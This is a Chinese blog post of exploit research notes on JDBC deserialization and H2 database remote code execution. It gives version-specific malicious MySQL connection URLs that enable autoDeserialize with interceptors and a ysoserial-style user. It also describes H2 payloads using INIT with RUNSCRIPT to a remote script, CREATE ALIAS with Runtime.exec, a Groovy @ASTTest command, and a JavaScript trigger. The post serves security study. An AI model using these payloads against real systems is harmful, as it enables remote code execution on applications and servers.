外部库添加技巧
如果是spring的jar包,要将BOOT-INF/classes添加到库里边,这样才能成功导入classes的类
对jar包进行调试的时候不能把断点打到注解上,不然打了跟没打效果是一样的
破案了,以后将文件夹添加为外部库时记得不要直接用jar包中的文件夹,要先将jar包解压,再用解压后的文件夹
Mysql
https://www.anquanke.com/post/id/203086
1 | public class test1 { |
这是java连接mysql数据库的语句。可以看到DB_URL中有三个拓展参数autoDeserialize,queryInterceptors,user
queryInterceptors参数需要的是实现了com.mysql.cj.interceptors.QueryInterceptor接口的类,
ServerStatusDiffInceptor(5.11以下无法通过连接触发,5.x、6.x要注意Inceptors的接收参数为statmentInterceptors)
Connector包从6.0开始从com.mysql变成了com.mysql.cj,所以ServerStatusDiffInterceptor类的位置也有所变化
我们这里设置的是ServerStatusDiffInterceptor,服务器接受的查询语句先交由这个类处理。当服务器接收到SQL Query时就会调用这个interceptors的preProcess方法,此方法调用了populateMapWithSessionStatusValues()
执行了SHOW SESSION STATUS语句并获取了结果集rs
跟进resultSetToMap()
ResultSetImpl::getObject(),当Mysql字段类型为blob时反序列化数据,所以只要保证rs这个结果集中1,2栏保存了反序列化的数据即可
注意此时我们在DB_URL中设置的拓展参数autoDeserialize=ture在此时派上了用场,必须为ture才能执行反序列化。
为什么第一张图在对数据库进行连接的时候明明没有发送SQL Query语句却触发了interceptor呢?
因为在getConnection过程中,会触发SET NAMES utf、set autocommit=1一类的请求,这一类的请求其实也会被处理为SQL Query,所以会触发我们所配置的queryInterceptors。
ServerStatusDiffInterceptor触发:用户名是基于MySQL Fake Server工具的,具体使用中请自行修改。
8.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6.x(属性名不同):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.11及以上的5.x版本(包名没有了cj):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
**5.1.10及以下的5.1.X版本:**同上,但是需要连接后执行查询。
**5.0.x:**还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏
detectCustomCollations(只能在5.1.19-5.1.41版本触发)
触发点在com.mysql.jdbc.ConnectionImpl的buildCollationMapping方法中:
此处只需要字段2或3为BLOB装载我们的序列化数据即可。
detectCustomCollations触发:
**5.1.41及以上:**不可用
5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.28-5.1.19:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
**5.1.18以下的5.1.x版本:**不可用
5.0.x版本不可用
H2 DataBase
https://paper.seebug.org/1832/#h2-rce
h2引擎会在参数中拆分”INIT”参数,并使用CommandInterface的实现类来根据配置实现初始化数据库
Sink 点在 org.h2.engine.Engine#openSession
出网利用
在本案例下,具体的处理类是 org.h2.command.CommandContainer。
因为session.prepareCommand只能处理一条语句,而我们的payload需要两条语句,第一条定义一个函数利用CREAETE ALIAS,第二条执行这个函数,所以我们要用RUNSCRIPT加载远程sql文件,这就需要出网了。
不出网利用
我们要想办法让payload只需要一条语句
源代码编译器的作用
作用是将sql中用户自定义的java方法(或其他脚本语言Groovy,javascript)动态编译成可执行的字节码或脚本逻辑。
例如CREATE ALIAS exec AS $$ String chonger(String cmd){Rutime.getRuntime().exec(cmd);return “chonger”;}$$,识别出这是java语言后使用jdk内置的javax.tool.ToolProvider.getSystemJavaCompiler()编译成.class,这一过程类似于在java中使用javac命令。接着将编译后的字节码通过自定义的类加载器加载到jvm中,生成可调用的java类和方法。
不同编译器的差异
H2 支持三种编译器,其处理方式有所不同:
| 语言 | 处理方式 | 使用场景 |
|---|---|---|
| java | 通过 JDK 编译器生成字节码 | 高性能、需直接调用 Java 库的场景 |
| javascript | 使用 Rhino/Nashorn 引擎解释执行 | 快速原型开发、轻量级脚本逻辑 |
| Groovy | 通过 Groovy 解析器动态编译 | 需要 Groovy 语法糖或 DSL 的场景 |
Groovy+create alias
在create alias的源代码中,发现sql中对于java方法的定义是交给源代码编译器处理的,有三种支持的编译器,Groovy,java,javascript.
在org.h2.util.SourceCompiler#getClass方法中
根据isGroovySource来判断是否为Groovy语句,如果为true,调用GroovyCompiler.parseClass
具体利用
使用 @groovy.transform.ASTTEST 在 AST 中使用 assert 执行命令
groovy的assert右侧的表达式可以包含任意可执行代码(包括方法调用),通过将命令嵌入@ASTTEST,可以在编译时触发恶意操作,例如
1 | (value={ |
执行路径:
- 编译器解析
@ASTTest注解; - 执行
value闭包内的assert表达式; "touch ...".execute()调用系统 Shell 执行命令
下方代码块是具体的jdbc exp
1 | public static void main (String[] args) throws ClassNotFoundException, SQLException { |
但是groovy依赖不常见
javascript+CREATE TRIGGER(java自带的Nashorn JavaScript 引擎已经在java 15往后删除)
这条链子不仅编译了源代码,还调用了eval
exp如下
1 | public static void main (String[] args) throws ClassNotFoundException, SQLException { |
About this Post
This post is written by DashingBug, licensed under CC BY-NC 4.0.